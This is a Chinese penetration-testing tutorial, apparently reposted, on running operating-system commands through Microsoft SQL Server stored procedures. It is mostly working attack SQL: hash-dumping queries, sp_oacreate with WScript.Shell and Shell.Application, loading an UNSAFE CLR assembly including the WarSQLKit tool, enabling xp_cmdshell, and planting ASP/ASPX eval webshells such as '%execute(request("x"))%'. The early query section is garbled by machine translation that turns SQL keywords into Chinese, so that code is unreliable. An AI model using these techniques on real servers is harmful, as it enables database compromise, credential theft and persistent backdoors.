MSSQL存储过程命令执行

技术MSSQL存储过程命令执行 MSSQL存储过程命令执行MSSQL存储过程命令执行转载自简书基本概念
MSSQL
MSSQL指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服

MSSQL存储过程命令执行

MSSQL存储过程命令执行

从一本简化本上再版

基本概念

MSSQL

MSSQL指的是微软的SQLServer数据库服务器,是一个提供从服务器到终端的完整数据库解决方案的数据库平台。

组件

组件是数据和方法的简单封装,可以理解为对象。有自己的属性和方法。属性是组件数据的简单访问者,方法是组件的一些简单函数。

OLE

OLE是一种面向对象的技术,通过它可以重用COM组件。

基本查询命令

#查询版本信息

选择@ @版本

#检查您是否是管理员。

选择is_srvrolemember(‘sysadmin ‘)

#查看主机名

选择host _ name();

#查看服务器名称

选择@ @ servername

#查看用户哈希

从sys.sql _ logins中选择名称sys . fn _ varbintoexstr(password _ hash)

#查看sql server身份验证方法

选择SERVER property(‘ Isintegratedsecurityonly ‘)

#查看目录结构

#depth设置为1,表示显示所有子目录,file设置为1,表示显示子目录的文件。

Executemaster.XP _ dirtree’ e: \ ‘,1,1列出了E盘的目录和文件。

#确定文件是否存在。

exec master . sys . XP _ file exist ‘ e : \ web \ tmp . ASP ‘

#判断站仓分离

选择host _ name();#查询客户端主机名

选择@ @ servername#查询服务器主机名

#查询文件内容

创建表文件(行varchar(1024))

从“e:\1.txt”大容量插入文件

从文件中选择*

存储过程

存储过程是完成特定功能的一组SQL语句。编译永久生效。然后,用户通过指定存储过程的名称和参数来执行存储过程。

存储过程分为:

系统存储过程

本地存储过程

扩展存储过程

远程存储过程

临时存储过程

系统存储过程

从sp_开始,设置系统。例如sp_oacreate、sp_oamethod

查看微软官方文档如下:sp_oacreate是一个创建OLE对象的实例。Sp_oamethod是一个调用OLE对象的方法。

sp_oacreate 执行命令

启用SP_OACREATE

EXEC sp_configure“显示高级选项”,1;

用覆盖重新配置;

执行sp _ configure“Ole自动化过程”,1;

用覆盖重新配置;

执行系统命令

声明@ shell int exec sp _ oacreate ‘ wscript . shell ‘,@ shell output exec sp _ oamethod @ shell,’ run ‘,null,’ c : \ windows \ system32 \ cmd . exe/c whoami c : \ \ 1 . txt ‘

贝壳。应用程序//执行命令

声明@o int

exec sp_oacreate ‘Shell。应用程序’,@o out

exec sp_oamethod @o,’ ShellExecute ‘,null,’ cmd.exe ‘,’ cmd /c whoami e:\test.txt ‘,’ c:\windows\system32 ‘,”,’ 1 ‘;

需要注意的是,当存储过程执行命令时没有任何回音,所以命令执行的结果会输出到文件中。

Wscript.shell和shell。两个语句分别使用了Application,有些保护产品对这个对象比较敏感。

所以还有第二种方法:

还使用了Sp_oacreate,但是使用了scripting . files system object对象,该对象用于操作一些文件。

知道了web的绝对路径,就可以使用这个对象写入webshell。也是一个出不去网的方块。

式。

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\tmp.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'%execute(request("x"))%' 

本地存储过程

本地存储过程指用户创建的自定义存储过程。如:CLR

CLR,公共语言基础结构(Common Language Infrastructure),用来支持不同编程语言。sql server集成了该组件,可以通过sql server编写CLR来执行系统命令。

CLR执行系统命令

  1. 启用CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
  1. 将数据库标记为安全
ALTER DATABASE master SET TRUSTWORTHY ON;
  1. 利用SQL语句导入程序集
CREATE ASSEMBLY [Database1]
    AUTHORIZATION [dbo]
    FROM 0x4D5A9.............
    WITH PERMISSION_SET = UNSAFE;
GO
  1. 创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go
  1. 执行系统命令
exec dbo.ExecCommand "whoami"

WarSQLKit 工具

在看CLR编写的过程中,顺便看到有前辈开发了针对mssql CLR进行利用的渗透工具。
也就是WarSQLKit。github可下载源码。

  1. 启用CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
  1. 将数据库标记为安全
ALTER DATABASE master SET TRUSTWORTHY ON;
  1. 利用SQL语句导入程序集
CREATE ASSEMBLY [WarSQLKit]
    AUTHORIZATION [dbo]
    FROM  0x4D5A900003000000.......
    WITH PERMISSION_SET = UNSAFE;
GO

注:这里说一下该十六进制非常长,在WarSQLKit.dacpac文件内
解压该文件,源码存放在model.xml文件中

  1. 创建存储过程
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO
  1. 执行系统命令
EXEC sp_cmdExec 'whoami';

扩展存储过程

以xp_开头,使用外部程序语言编写的存储过程。如:xp_cmdshell

xp_cmdshell 执行命令

sql server 2005版本以后默认关闭,需要开启后使用

  1. 启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  1. 执行系统命令
exec master..xp_cmdshell 'whoami'

也可以写入webshell

exec master..xp_cmdshell 'echo ^%eval request("x")%^ e:\shell.aspx'

补充:
实战中如果出现调用CreateProcess失败,一般为拦截了xp_cmdshell的调用。

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/128317.html

(1)

相关推荐

  • entityframework三种使用方式(entityframeworkcore教程)

    技术Entity Framework Core 批处理语句是什么小编给大家分享一下Entity Framework Core 批处理语句是什么,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这

    攻略 2021年12月16日
  • 古代科举,古代人考科举要做哪些准备

    技术古代科举,古代人考科举要做哪些准备第一关古代科举:识字一切为参加考试做准备“十年窗下无人问,一举成名天下知。”读书人在参加科举考试前需要如何准备呢?当然是先要读书识字了。 第二关:童试考

    2021年10月21日
  • View如何实现非中心点旋转

    技术View如何实现非中心点旋转这篇文章主要为大家展示了“View如何实现非中心点旋转”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“View如何实现非中心点旋转”这篇文章吧。

    攻略 2021年12月3日
  • 怎么使用python logging

    技术怎么使用python logging本篇内容介绍了“怎么使用python logging”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅

    攻略 2021年11月18日
  • 复审与事件分析

    技术复审与事件分析 复审与事件分析小组的名字和链接
    优点
    缺点,bug报告
    最终名次平平无奇
    1.界面简洁,操作简单2.能够实现的基本功能比较齐全3.没有广告,非常地好
    1.系统反馈页面空白,反馈方式暂

    礼包 2021年12月13日
  • 【Lock】加锁解锁

    技术【Lock】加锁解锁 【Lock】加锁解锁@Slf4j
    public class TestLock {public static void main(String[] args) throws Ex

    礼包 2021年11月18日